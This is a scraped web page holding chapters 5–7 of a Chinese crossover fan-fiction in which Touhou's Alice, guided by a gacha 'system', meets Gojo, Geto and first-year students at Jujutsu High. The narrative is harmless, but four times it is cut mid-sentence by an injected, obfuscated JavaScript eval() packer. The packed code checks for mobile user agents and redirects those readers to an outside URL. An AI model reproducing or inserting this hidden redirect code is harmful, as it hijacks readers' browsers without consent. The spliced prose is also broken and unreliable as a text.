;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053129|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方。】白银不由得感叹，这符卡甚至不用消耗她的人偶，简直是穷人的福音。 【当然不一定能抽到。】系统泼冷水。 【你说得很对，所以快帮我抽。】 经历过无数抽卡游戏洗礼的白银，早就总结出了一个规律，那就是当自己有什么特别想抽到的东西的时候，绝对不能碰卡池，前方等着她的只有地狱。 卡池：抽卡资源？拿来吧你！ 所以每次遇到这种情况，白银会随便找另外的人，最好是对游戏有了解但没兴趣的那种，让对方帮忙抽——不过现在没得选，除了她自己，只有系统能碰到卡池。 【噫，自己抽啦。】 【别这么说嘛，你难道看我抽卡不会手痒？不想自己也上手试试？】 【姆姆姆……】 抽卡游戏玩家可能都有体会，看别人抽卡的时候难免会产生“我也想试试”这样的心理，特别是看到欧皇和海豹后，会生出一种“我也能行我也可以”的冲动。这个时候再来个人把自己的抽卡机会让出来，难道还有人能拒绝？ 【诶——！我按！】 果然，喜欢看人抽卡的系统也抵挡不住这种诱惑。 彩光闪过，屏幕上显示出抽卡的结果：【获得符卡×2，歌利娅人偶×2，上海人偶×1，远程型人偶×1，普通人偶×2，人偶部件×2】 【厉害哇统，牛逼哇统，没想到你居然是个欧洲统。】 白银忍不住在心里鼓起了掌。 直接出了两张符卡，相当于其他游戏的十连出货并且双黄，这要不是替她抽的，她肯定会当场拿起打狗棒，暴打海豹。 而且除符卡外，还一下子抽出了三个特殊人偶。要是换作白银自己，肯定抽不出这么多好东西，甚至还有可能歪出并不能用的其他角色的道具。 【谢谢谢谢，我也没想到我居然这么欧～】系统语气飞扬，开心到在屏幕上撒起花花。 抽完卡，就该想想要怎么安排这些道具了。爱丽丝调整姿势，做出闭目养神的样子。 人偶部件先不用管，两份人偶部件意味着能做出两个人偶，但那东西需要耗费时间和精力，现在没空。歌利娅人偶也不能拿出来，和其他人偶不一样，歌利娅是大型人偶，差不多有普通人的大小，不好藏。 符卡暂时不去设置。目前没有足够数量的空白符卡，提前设定可能会出现关键时刻派不上用场的情况，不如就保持空白，要用的时候再现场画符——反正原作中的符卡都摆在她记忆里，紧急时刻可以选择直接抄作业。 这样的话，除了上海之外，再另外带上两个普通人偶好了。 所谓的普通人偶，就是做工比较粗糙、平时用来处理杂事的人偶。战斗勉强能用，但强度比不上专门用在这方面的人偶，当然用坏了也不必心疼。 仗着自己有隐蔽魔法、车上的两个人察觉不到自己的小动作，爱丽丝让系统直接把她指定的人偶取出来，而后让它们保持隐身的状态呆在自己身边。 很好，这下就算下车立刻碰到五条悟，她也不用担心自我介绍后，对方问出“那你的人偶呢”之类的问题了。 5. 第 5 章 Peaceful 东京都立咒术高等专门学校，表面上是宗教系学校，实际上是咒术师少有的几个根据地之一。由于咒术师人员稀少，在这里上学的人寥寥无几，其中的学生不是在学习就是在执行任务、或者是在执行任务的路上。 禅院真希与高年生不怎么熟悉，因此她只联系了自己的老师和同班同学。老师暂时不在学校，但同为一年生的熊猫和狗卷棘今天并没有出门执行任务，所以第一时间就收到了消息。 他们对着禅院真希发过来的信息商量了一下，决定等时间差不多了，就去迎接一下同学和据说“因为没接触过咒术的知识所以把自己当作是妖怪”的女孩子。 于是他们现在站在校门前，有一搭没一搭地聊着天。 “爱丽丝……好常见的外国名字啊，不知道是个什么样的人？”熊猫把手指放在嘴边，到摆出沉思的姿势，“真希描述得太抽象了，根本想象不出来……” 禅院真希对爱丽丝外表的形容很简单，“总之是个很漂亮的女生”，而仅凭这一句话，确实很难想象出对方的模样。 不过他们对爱丽丝的外貌倒也不是特别好奇。对咒术师来说，好看的外表只能算作加分点，毕竟那东西又不能从诅咒手里救下他们。 “海带金枪鱼。” 狗卷棘身为咒言师，说出的话语里会包含诅咒，因此他平日里只会说一些无害的饭团材料，一般人很难和他交流。但和他相处过一段时间的熊猫，已经学会了从狗卷棘的语气、动作中大致推测出对方想表达的东西。 “国外的咒术师比国内更稀少，咒术体系也不怎么完善，所以对自己产生误解是很有可能的事。那个女孩子一直以来的生活一定很不容易吧。” “鲑鱼——” 狗卷棘对这件事有很深的感触。 和其他人不一样，他的术式依靠的是语言，别的咒术师还可以选择不使用术式，他想不使用术式就只有闭嘴这一个方法。在他还无法控制自己力量的小时候，说话会伤害到普通人，不说话又会被普通人排挤，可谓两头都受罪。 但狗卷棘并没有因此对普通人产生怨恨。他是个温柔的人，且对自己是咒言师的末裔、本就和普通人不属于一个世界这件事早有觉悟。他们看到的、接触到的东西不一样，所以他不奢求普通人能理解自己。况且他知道自己不是一个人，他还有其他同为咒术师的同伴。 所以如果真的有咒术师因为环境原因把自己当作妖怪，他希望自己能帮上点忙。但是，出于某种原因，他认为事情并不像真希和熊猫分析的那样，只不过他无法将那个原因诉诸于口，于是只能应和。 “我说棘，如果万一，真的有妖怪，那个叫爱丽丝的女孩真的是妖怪，该怎么办？”熊猫突然凑近狗卷棘，神神秘秘地问到。 “大芥？”狗卷棘对他为什么产生这种想法感到疑惑。 正因为他们是负责祓除诅咒的咒术师，所以才更应该明白“这个世界没有妖怪存在的历史”这件事才对。 ——熊猫有一个只有几人知道的秘密。他是东京高专校长夜蛾正道创造的咒骸，对外宣称是突然变异咒骸，而实际上是夜蛾正道研发出的完全自立型咒骸。 咒骸原本是寄宿咒力后才能自主行动的非生物，但熊猫拥有自己的灵魂，能使用咒力，能独立思考。这样的他当然不属于人类，却也不在诅咒的范畴之内，那他究竟是什么呢？ “没事没事，刚才的不算——”熊猫摆摆手，将刚刚的念头抛之脑后，毕竟世界上没有妖怪属于咒术界常识。他指着不远处，没有解释说出那种话的原因，只是移开话题：“他们到了。” 黑色的小车稳稳当当停在校门口，禅院真希从车上下来，爱丽丝跟在她的身后，而伊知地洁高则是趁机掏出手机，打算和什么人联络的样子。 第一次见面，熊猫和狗卷棘本想向爱丽丝打个招呼、留下好印象，谁知爱丽丝的行动更先一步，她几步走到熊猫面前，用一种研究者都能懂的饱含热切的目光看着熊猫。 “制作你的人是谁？还活着吗？能让我见一见吗？” 预料之外的情况让高专的三人有些犯迷糊。 “你是基于什么理论诞生的？有同伴吗？还是说你是唯一的成功案例？虽然这么说有点不好，但我想研究一下你……” 眼看话题要向不妙的方向流去，熊猫试图打断爱丽丝滔滔不绝的问话：“那、那个……” 于是爱丽丝回过神，察觉到自己的失态。她轻咳一声，拉开了和三人的距离：“失礼了，一时有些激动。” 爱丽丝之所以最擅长人偶魔法，是出于她的兴趣和喜好，因此她有个不算稀奇的梦想，那就是研究出不需要人操控的自律型人偶。 在这样的爱丽丝面前，出现了一个能成长、能独立思考的玩偶，产生兴趣是理所当然的事，熟悉她的人对这反应一定不会觉得奇怪。只不过现在在她面前的只能说是陌生人，不知道爱丽丝的愿望，自然会惊讶于她和之前印象的反差。 三人当着爱丽丝的面，凑在一起嘀嘀咕咕。虽然有拉开距离、压低声量，但这种距离的窃窃私语还是逃不过妖怪的耳朵。 熊猫：“怎么回事真希，和你之前描述的不一样啊，我该怎么办才好？” 禅院真希：“鬼知道啊！不如说我才更想知道为什么她对你是这种态度。” 狗卷棘：“鲑鱼鲑鱼！” 熊猫：“你就算问我，我也……” 禅院真希：“现在怎么搞？总觉得气氛好尴尬啊。” 狗卷棘：“金枪鱼？” 熊猫：“说得也对，总之还是应该做个自我介绍……” 三人商量完，装作刚刚什么事都没发生的样子转回来，打算重振旗鼓好好打声招呼，就发现爱丽丝抬着头，似乎天上有东西吸引了她的目光。 她在看什么？ ——之前一年生们开始嘀咕的时候，系统突然cue了一下爱丽丝。 【恭喜你，又凑齐一个十连了。】 爱丽丝很迷惑——之前那个十连是因为和太宰治接触攒了大半，然后又和禅院真希呆了一段时间才凑齐的资源，怎么这么快就又凑齐了？ 【速度这么快，是因为这里重要人物的数量比较多？】她看着光明正大开小群私聊的三个高专生，做出合理的推测。 但被系统否定：【虽然也有那个原因，不过和五条悟接触是更主要的理由。】 爱丽丝更迷惑了——像五条悟那种个子高、气场强的人，照理来说应该很容易就能被她注意到，但她的视野范围内并没有类似的人影。 【他人在哪？】 【在你上面。】 她反射性抬起头，凭借妖怪那高于常人的眼力，看清了天上的小黑点。那个小黑点见自己被发现，还开心地朝她挥了挥手。 这人干啥呢……好好的陆地不待，居然跑到天上玩偷窥，要不是系统提醒，根本发现不了他。话说被单方面观察居然也能算是接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053130|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触吗？这判定范围还挺宽松的。 正好这时一年级三人组停下了讲话，于是爱丽丝指着上方，对他们问到：“那个是你们的老师？为什么要在天上？” 自我介绍再次被打断的三人满头问号，顺着爱丽丝指的方向看过去。 “那上面有什么吗？”禅院真希作为代表问出几人的疑惑。 爱丽丝：…… 哦对，他们看不到。 那就只能描述一下特征了，毕竟爱丽丝是不应该认识五条悟的。 但没等她开口，身后忽然响起声音。 “第一，我不是他们的老师；第二，并不是每个人都有跟我一样的好眼睛——”五条悟站在爱丽丝身后，语气漫不经心，“——你对初次见面的人都这么粗暴吗？” 五条悟的面前、爱丽丝的头顶，两个拿着圆锥形武器的人偶被稳稳地定住，再不能前进分毫。如果被那武器戳中，身上多半会多出两个血窟窿，不过在“无限”面前，这种事发生的几率为零。 “是突然出现在人背后的家伙不好。”爱丽丝冷静地回复。她是真的被五条悟吓了一跳，回过神的时候已经下意识让人偶攻击过去了。 “不是人，是妖怪才对吧。”五条悟的墨镜微微下滑，那双苍天之瞳里倒映着爱丽丝的模样，他纠正到。 爱丽丝将两个人偶召回到自己身边，回身和五条悟面对面：“别在意这种细节。” 当伊地知洁高联络完的时候，看到的就是这副场面。他心下一惊，急忙下车，质问突然出现的五条悟：“为什么你会在这里？！离那个孩子远点……！” 明明害怕得不行，却又不得不鼓起勇气面对自己，真可怜。 五条悟眯起眼睛，一边嘴上抱怨着“我又没做什么坏事，干嘛这么戒备我呀？”，一边老老实实地后退了几步，示意伊地知洁高可以不用那么紧张。 爱丽丝站在原地分析现状。 五条悟说自己不是一年生的老师，而高专的辅助监督对五条悟展现的是对待敌人的态度，难道，这个世界的五条悟终于忍受不了烂橘子，跑去当诅咒师了？ 可那样解释不通一旁的三人组的表现。即使摆出一副戒备的姿态，但在爱丽丝看来，那戒态度浮于表面，根本就只是演出来给别人看的。他们不像伊知地洁高一样发自内心在警戒，甚至没试图提醒自己离五条悟远点，如果五条悟真是危险人物，那这行为就不符合他们的性格。 再说，要是五条悟真的跑去当大boss，这世界哪里还能坚持到现在…… “你是大魔王还是反派boss？”不过不管事实如何，对现在的爱丽丝而言，只要能攒点数就万事大吉，她无所畏惧、甚至有心情发出调侃，“为什么世界还没被毁灭？” “哦～能得到美少女的高评价还真是光荣～”五条悟摊手，“但不凑巧的是我目前没有那种兴趣。” 他接着用一种像是在委屈又像是在撒娇的口气说：“诶，我明明什么都没做，只是因为不当咒术师就被上面的人逐出咒术界，还被污蔑成大恶人——” “我好可怜啊呜呜呜呜呜。” 爱丽丝抖了抖身上的不存在的鸡皮疙瘩。 不愧是五条悟，会还是你会，身为一个立派的成年人，居然还能毫无心理障碍地做出这等表演。 “——你说你什么都没做？”不等爱丽丝回话，头顶就传来了另一个人的声音，“你不会以为你对天元大人出手的事就被忘了吧？” 6. 第 6 章 Pandoras “可那个‘天元大人’现在还活蹦乱跳地为你们加固结界，”五条悟早就看到了对方的咒力波动，被质疑后丝毫没有迟疑就开始狡辩，“四舍五入不就相当于我什么都没做吗，杰？” 既然从这回复里就已经能推断出上面的人是谁，爱丽丝便懒得抬头了。 果然这个世界的夏油杰还活着，并且没有走向歪路。 在五条悟自爆自己不是老师的时候，她其实就隐隐得出了这个结论。谁让咒术界一向人员稀少，顶端的特级咒术师更是一只手都能数得过来。排除掉五条悟，剩下的就只有常年在国外摸鱼的九十九由基和同人里大家总会想方设法回收便当的夏油杰了。 总不可能是乙骨忧太当老师的奇怪世界线吧？ “诡辩。”夏油杰坐在咒灵身上，对五条悟的回答嗤之以鼻。 五条悟耸耸肩，也不做反驳。 夏油杰扫视一圈下面人的反应，没有过多关注爱丽丝，而是将目光停在了看到自己出现便松了一口气的伊地知洁高身上：“伊地知，带学生们进去。” 嘁。 爱丽丝在心里咂舌。当然不是对夏油杰的行为不满——那只是出于对学生和同事的关心做出的合理行动——她只是稍微有些遗憾，自己攒抽卡点数的效率要下降了。 伊地知洁高闻言点点头。他明白万一等会打起来，这些人在场也只能让夏油杰分心，于是快步跑到一年生们的面前。 “大家，快走。”他转头看向爱丽丝，“爱丽丝小姐也请……” 他刚刚没听到五条悟对爱丽丝的妖怪认证，即使注意到爱丽丝周围多出来两个人偶，也只认为那是爱丽丝的能力，在他眼里爱丽丝仍旧是一个普通的有特殊能力的人。 伊地知洁高性格温柔，自然不会想把一个小女孩留在危险的地方，只可惜有人现在可不想看到他的这份善良。 爱丽丝装作没感受到夏油杰向自己投来的视线，思考着该怎么拒绝伊地知洁高的邀请。她不想离开这里，比起和一年生们待在一起，显然是和五条悟待在一起更能攒抽卡点数。 所幸爱丽丝不用多做思考，就有人贴心地替她拒绝了。 “不用管她，你们先进去。”夏油杰发话。 出于对夏油杰本人和对他身为特级咒术师实力的信任，伊地知洁高便没有坚持，带着三人组就撤进高专。 “明明不用那么麻烦的，”直到那几人的身影完全消失在视线范围内，五条悟才慢悠悠地开口，“反正我又不是为了你们跑过来的。” 夏油杰皱眉：“做判断的是我，不是你。” “所以我刚才什么都没说，我很体贴吧？快夸我很体贴。”五条悟洋洋得意。 夏油杰的眉头皱得更深了，他再次用审视的目光看向爱丽丝——既然知道五条悟不是为了高专人员跑过来的，那对方的目标就显而易见。 看什么看，没见过美少女吗？爱丽丝冷淡地扫了他一眼。 夏油杰仍然坐在那只会飞的咒灵身上，没有下来的意思。不知道是视角的问题还是光线的问题，她竟一时觉得夏油杰身上有种悲悯的氛围。 那么喜欢飞在天上，干脆就送他飞得更高好了——她莫名有些不爽，冒出这样的念头。 但在爱丽丝将想法化作行动之前，五条悟就轻飘飘地开口：“杰，你要是再不下来，我就把你坐着的那个诅咒给祓除了哦？” 他虽然在对夏油杰说话，却安抚似的拍了拍爱丽丝的肩膀。在提心吊胆的人退场之后，他就又像没事人一样靠近了爱丽丝。 爱丽丝瞥了他一眼，没对这个行为发表看法，并如他所愿转移了注意力。 “你是来找我的，为什么会知道我在这里？” 之前以为五条悟出现得恰到好处是因为有禅院真希的联络，但既然禅院真希联系的是夏油杰，那五条悟是怎么知道自己会在这个时候出现在高专的？要知道在遇到禅院真希之前，就连她自己都不曾预料到这种展开。 “那个嘛，当然是有特殊的渠道啦～”五条悟颇显无辜地眨眨眼。 夏油杰已经从诅咒身上跳下来了，他不敢赌五条悟刚刚的话是不是在开玩笑，能飞的诅咒本就不多，被祓除一个少一个。 “你窃听了通话？”他问。 知道这件事的除本人以外，只有邀请人禅院真希，和被禅院真希联络过的人，他不觉得这之中会有谁特意跑去联系五条悟。 “别把人说得跟犯罪一样，”五条悟摆手，“说不定是你可爱的学生主动告诉我的呢？” “在你这么说的时候就代表这不是真相了。”夏油杰冷漠地回复，没有因为五条悟的话产生动摇。 爱丽丝闻言嘲笑似地看向五条悟：“信誉真低。” 五条悟一脸无奈。 既然五条悟不想给出正确的答案，那继续刚刚的话题就没有意义，于是爱丽丝换了个问题：“但我不认识你。” 她想不通为什么五条悟会找上自己。虽然种种迹象都表明五条悟确实是为了找她才特意跑到高专，但实际上昨天她才刚在这世界出现，而且出现的地点在离东京有一段距离的横滨，照理说应该不会和五条悟产生联系才对。 五条悟脸上浮现出浅浅的、同时又看着很真实的笑意：“嗯，现在是我单方面认识你们。” “我们？”爱丽丝注意到这个词，歪头看向五条悟。 五条悟见状俯下身，无声地对她做了个口型，成功让她陷入沉思。 “幻想乡”，爱丽丝没想到这个词会从五条悟嘴里冒出来——这很奇怪，明明从其他人的反应里能推测出这世界没有妖怪，因此没有她应该就不存在“幻想乡”这个概念，为什么五条悟却像是知道了很久的样子？ “这家伙就是你以前提到过的妖怪？”夏油杰从刚刚的对话里听出一些东西，他扫了一眼明显正在思考的爱丽丝，“……看上去和人类没什么区别。” 他会在收到禅院真希的消息后立马赶回来，为的就是亲眼确认一下所谓的妖怪。 “只能看表象的人确实会这么认为，毕竟你以前连妖怪都看不到嘛——”五条悟毫不留情地开启嘲讽，夏油杰觉得自己的拳头蠢蠢欲动。 这句话对爱丽丝而言倒是新的情报。如果五条悟曾经向夏油杰提起过妖怪，那为什么刚刚说幻想乡的时候还要特意避开夏油杰的视线？ “总之我只是来找这位妖怪小姐的，就不浪费你们相亲相爱的上课时间了。”五条悟将手搭在爱丽丝的肩上，见对方没有反应，明白她是默许了自己接下来的动作。 “你认为我会什么也不做就让你们离开？”夏油杰凝视着他们。 “诶——你说什么——”五条悟掏掏耳朵，作出一副没听清的样子。 没等夏油杰生气，他便似笑非笑地看着对方：“杰不会觉得你能拦住我吧？还是说你觉得你能阻止我带她走？” 不用说，谁都知道这个问题的答案。 “要是想拦住我们，就努力变得更强一点啦，下次再见咯——”五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053131|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条悟冲握住拳头的夏油杰做了再见的手势，没有拖沓，下一秒就带着爱丽丝一起消失不见。 被留在原地的夏油杰看上去有些阴沉，他注视着刚刚五条悟站过的地方，不知道想了些什么后便恢复成平时的模样，转身进入高专。 他还有一些问题要问问自己的学生们。 * 坐在一年级的教室里，禅院真希三人趴在课桌上聊着天。在聊天聊地聊月亮聊星星，谈完人生谈完理想后，才终于慢吞吞地把话题换到了特意避开的那个方向上。 “伊地知去哪了？” “说是要向上级报告情况，拿着手机就出去了。” “爱丽丝小姐挺漂亮的吧？” “鲑鱼。” “悟说她是妖怪。” “……” “……” 禅院真希叹了口气，叹气声在突然寂静下来的空间里格外明显。她换了个姿势继续趴着，提出猜测：“会不会是在开玩笑？” “木鱼花——”狗卷棘起身，在胸前用手比了个大大的叉。 “也对，再怎么说也不会闲到事先找人对台词用这种事来整蛊我们。”禅院真希也知道这个猜测太不靠谱，没怎么坚持。 “妖怪啊……”熊猫软趴趴地念到。 氛围有些沉闷。 倒不是因为爱丽丝是真的妖怪，让他们觉得之前自己的关心属于无用功——毕竟人家从一开始就说的是实话，只是他们没相信，自顾自脑补了一大堆而已——只是没想到妖怪居然真的存在，他们还正好遇上了，更没想到咒术师居然也有一天要面临重塑世界观的问题。 “话说‘六眼’果然好作弊啊，就算外表上和人类完全没有差别，也能一眼就看出那是妖怪。”禅院真希如此说。 虽然，就算外表看上去是妖怪，估计她也会以常识来考虑，认为那是对方的能力或者对方是更为严重的要演就演全套的中二病。 狗卷棘赞同地点点头：“鲑鱼——” “哎呀，你们看上去很悠闲嘛，就一点都没有为老师担心的心思吗？”教室门突然被拉开，夏油杰从外面走了进来。 明明是在用很温柔的语气问话，却直接让三人立马正襟危坐。 “老师你可是现有的三……两个特级咒术师之一，哪里需要我们为你担心。”禅院真希一脸认真地回答。 “鲑鱼！”狗卷棘充满激情地附和。 “是吗？”夏油杰眯了眯眼，“就算对方曾经也是特级咒术师，也一点都不担心我？” “我们相信老师的实力嘛！就算对方是忄……那个五条悟！老师也不会输的！”熊猫握拳，试图用少年漫特有的信任和羁绊思维唬住自家老师。 “鲑鱼鲑鱼！”狗卷棘不停点头。 夏油杰轻笑一声。 连爱丽丝都能看出来这三人对五条悟的态度问题，身为老师的夏油杰不可能看不出来，只不过之前一直没遇到类似的场合，所以他们的问题没有暴露出来罢了。 当时能被这三个人演技骗过去的，估计只有满脑子都被警惕和担忧给占据的伊地知洁高了。 “别那么紧张，老师当然也是相信你们的。”夏油杰知道自己的学生都是有原则的人，既然他们不想说，那他就不会逼迫他们，于是轻轻略过关于五条悟的问题，“我现在想知道的是关于那位爱丽丝小姐的事。” 他的目光落在最初遇到爱丽丝的禅院真希身上：“真希，你能把今天发生的事详细地说一遍吗？” 7. 第 7 章 没有拒绝的理由，禅院真希毫不犹豫地回答：“当然了，老师。” 熊猫和狗卷棘对此也很好奇，他们之前只是在手机上说了个大概，关于细节这方面都不怎么清楚。 禅院真希整理了一下思路，打算从最开始的地方慢慢说起。 “我是在祓除诅咒的地方遇到的爱丽丝，”她今天执行任务这件事大家都清楚，与任务相关的情报能在“窗”那里找到，所以不需要讲得太详细，“最开始出现的其实不是她，而是一个形状比较诡异的东西。” 形状诡异的东西指的是隙间。原本禅院真希想着等人到齐之后再向爱丽丝询问相关的问题，结果没来得及问就被五条悟横插一脚，所以目前还不清楚那是什么东西。 “我本来正准备祓除诅咒，但还没靠近就出现了那个东西，于是我就躲起来观察情况。” 没有人对这个行动提出质疑，咒术师本就是个高危职业，面对未知的东西，谨慎一点才是更好的选择。 “然后就看到爱丽丝从那里面出来。” “……空间系能力？”熊猫问。 但他随即想起在五条悟瞬移到爱丽丝身后时，凭空出现的那两个拿着武器的人偶，觉得这个推测不准确。 “应该不是，”禅院真希摇头，“当时有听到她在和别人对话，我猜那多半是她同伴的能力。” “金枪鱼？”狗卷棘抬手比划。 “因为那里还挺安静的，我躲的地方也不是很远，所以我还听得蛮清楚的。”说到这里，禅院真希皱起眉，“但是我后来发现她好像一早就知道附近有人躲起来了，现在想来，有些内容也许故意说给我听的？” “故意说给你听？”又不是术式公开，故意透露这些消息对她有什么好处吗？夏油杰眯眼，然后追问，“在你出去之前，她还说了什么吗？” 禅院真希想了想，让她印象深刻的、比较在意的，确实还有那么一句：“‘这里没有我们要找的人’，她还说过这么一句话。” 也就是说她的目的是找人？只是如果这句话是故意说给人听的，那它的真实性就得打上一个问号。 不过现在纠结这个没有太大的意义，夏油杰让禅院真希继续讲下去。 “本来她准备离开了，但我在那个时候收到上面让我把她带回去报告的指示，于是我就没有继续躲下去。” 夏油杰有些不满，不是针对禅院真希，而是针对做出这个决定的人。 居然在不知道对方身份和危险度的情况下，就直接让还是一年级学生的禅院真希去和对方进行接触，不知道脑子里在想些什么。可能他们觉得如果让人走掉，事后调查和报告会很麻烦，但万一对方是个危险人物，万一禅院真希遇上危险了该怎么办？ 当然也有可能不是他们脑子不行，没考虑到这种情况，而是他们根本不在乎禅院真希的安全问题，毕竟对方说到底只是一个不被禅院家承认的、没有咒术的吊车尾罢了。 更阴谋论一点，要是让禅院真希死于意外，说不定还能从禅院家那里拿到好处。 “真希，下次遇到这种情况，不要轻举妄动。”没有提出自己略显过分的猜想，夏油杰淡淡提醒了一下，就继续发问，“你说她准备离开了，是怎么看出来的？” “……她当时在跟那名同伴交谈嘛。”禅院真希视线飘忽，“不过我没听到她说话对象的声音，也没看到她用手机一类的东西。” 所以也不知道爱丽丝是不是真的在和谁通话。 “真希……”熊猫同情的视线飘了过来。 “什么呀，你难道觉得你能当场反应过来吗？！”禅院真希拍桌子，怒视熊猫。 当然没有亲身经历的人凭想象是得不出结论的，熊猫收回视线，摸了摸鼻子，装作刚刚无事发生的样子。 禅院真希见状哼了一声，继续讲到：“祓除掉咒灵之后我就按指示和爱丽丝交流，希望她能去给‘窗’的人报告，但被拒绝了。” “那时候她说自己不是人类，还让我吓了一跳，因为我还摘下眼镜确认过她的身影。”禅院真希没有咒力的事大家都知道，自然明白这句话的意思，“我当时甚至在想是不是诅咒已经进化到能让我都看得到的地步了，没想到她就说自己是妖怪。” 于是对方就被误以为是自我认知出现问题的中二病了，这是几人都知道的发展。 确实和“诅咒进化到普通人能看到”这件事比起来，“是妖怪”这种让人啼笑皆非的话会让咒术师产生一种落差。毕竟即使是在咒术师的世界观里，妖怪也属于不存在的东西。 “我看她不想见普通人的态度很坚决，于是就提议让她和我一起回高专见老师。说实话我都已经做好被拒绝的准备了，没想到她只是犹豫了一下就同意了。” 夏油杰一只手撑着下巴，另一只手则有节奏地敲击着桌面：“有点奇怪。真希，你当时是怎么邀请她的？” 禅院真希老实回答：“就是说我有个特级咒术师的老师，能帮上她的忙……” 果然很奇怪。 作为妖怪，明明没被相信，又不想接触普通人，却什么都没问就直接同意了真希的邀请？这种应对方式，简直就像是在假装不知道咒术界的情报一样。还是说，对方只是从真希的态度猜到了什么？ 当然，如果相信对方的目的就是找人的话，那也有可能单纯是对方觉得没被相信也无所谓，反正都要换地方继续找人，接受这个邀请也无妨。 要是这样的话，就证明对方对自己的实力有足够的自信。 不过在情报过于少的现在，这些东西都只是推测而已。现阶段他们根本不能明确对方的真正目的，能做的只有加强警戒。 一想到今天发生的事情，包括爱丽丝，包括五条悟，都必须得向上层汇报，夏油杰就觉得心累：“真希，你还记得一开始的形状奇怪的玩意长什么样吗？能画下来吗？” 禅院真希点头，很有行动力的立马掏出纸笔，开始画画。画上这么一幅画并不需要太多时间，也谈不上什么画得像不像，毕竟只是画出一堆眼睛而已。 将那幅画递给了夏油杰后，禅院真希犹豫了一下，还是开口问：“老师，妖怪……是真的存在的吗？” 不能怪她举棋不定，只是目前为止，能证明妖怪存在的只有“妖怪本人”爱丽丝和“六眼”五条悟。虽然不会怀疑五条悟的眼睛，也通过两人的对话基本上已经相信了这件事，但…… 被自己的三个学生用期待的目光盯着，夏油杰移开了视线，给出一个模棱两可的回答：“……谁知道呢？” 他看着远方，像是在回答学生的问题，又像是在自言自语：“如果可以的话，我也想趁这个机会弄清楚。” * 那是夏油杰还在高专学习的时候的事。 在进入高专，和五条悟、家入硝子成为朋友后，他们一起学习、一起执行任务、一起做一些傻事，度过了一段还算愉快的时光。 某天，五条悟像是突发奇想一样，问了他一个莫名其妙的问题：“杰，你觉得妖怪是存在的吗？” “肯定不存在啊，就连咒术界都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053132|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有和妖怪相关的记载。”没有多想，夏油杰直接回答，“怎么了，突然问这种问题？” 不管是普通人和咒术师的历史里，妖怪都属于不存在的事物，属于幻想，所以诅咒才会衍生出假想咒灵这样的分类。而这件事，出生在咒术三大家之一的五条家的神子应该是很清楚的才对。 “没什么，就是想问问。”五条悟眺望着远方，神情和平时没有区别。 夏油杰没有再问，他以为对方只是又看了些什么奇怪的电影或者小说之类的，随口一问罢了。毕竟五条悟的思维一直很跳跃，这也是常有的事。就算那段时间对方嘴里会时不时冒出和妖怪有关的话题，他也只是一边在心里感慨对方这次还挺入迷，一边在嘴上应付两句。 再之后，在完成星浆体任务之后的一个清晨，五条悟懒洋洋地靠在窗户旁，懒洋洋地对他说到：“杰，我不准备继续呆在咒术界了。” “啊是吗，真是个不好笑的玩笑。”因为那语气实在是太过平淡，夏油杰起初以为对方只不过是想逗自己，但在没有第一时间听到反驳时，他就察觉不对，“……你认真的？” 五条悟还是那副没事人的样子，丝毫不觉得自己的话对于听的人而言是个重磅炸弹：“嗯，大概会被逐出咒术界，想提前告诉你们一声。” “哈？！为什么突然？”夏油杰经常会觉得五条悟这人不可理喻，这个时候更是如此。 “为什么……”五条悟似乎对于他的这个问题很奇怪，一脸疑惑地给出一个不走心的答案，“因为那样做会比较开心？” “我是在很认真地问你！”他的脸色不由得阴沉下来。 “唉……还真是没有‘正当的’理由你就接受不了吗……”被怒视的五条悟无奈地叹了口气，低声感叹。 他的视线越过夏油杰，投向很远的地方。 当时那双苍天之瞳里究竟倒映着什么，夏油杰不知道，他只是看到对方冲他露出笑容，然后说了一句他无法理解的话。 “既然这样，是啊，你就当作我被妖怪的花言巧语给迷惑了吧～” 那个笑容给他留下了很深的印象。 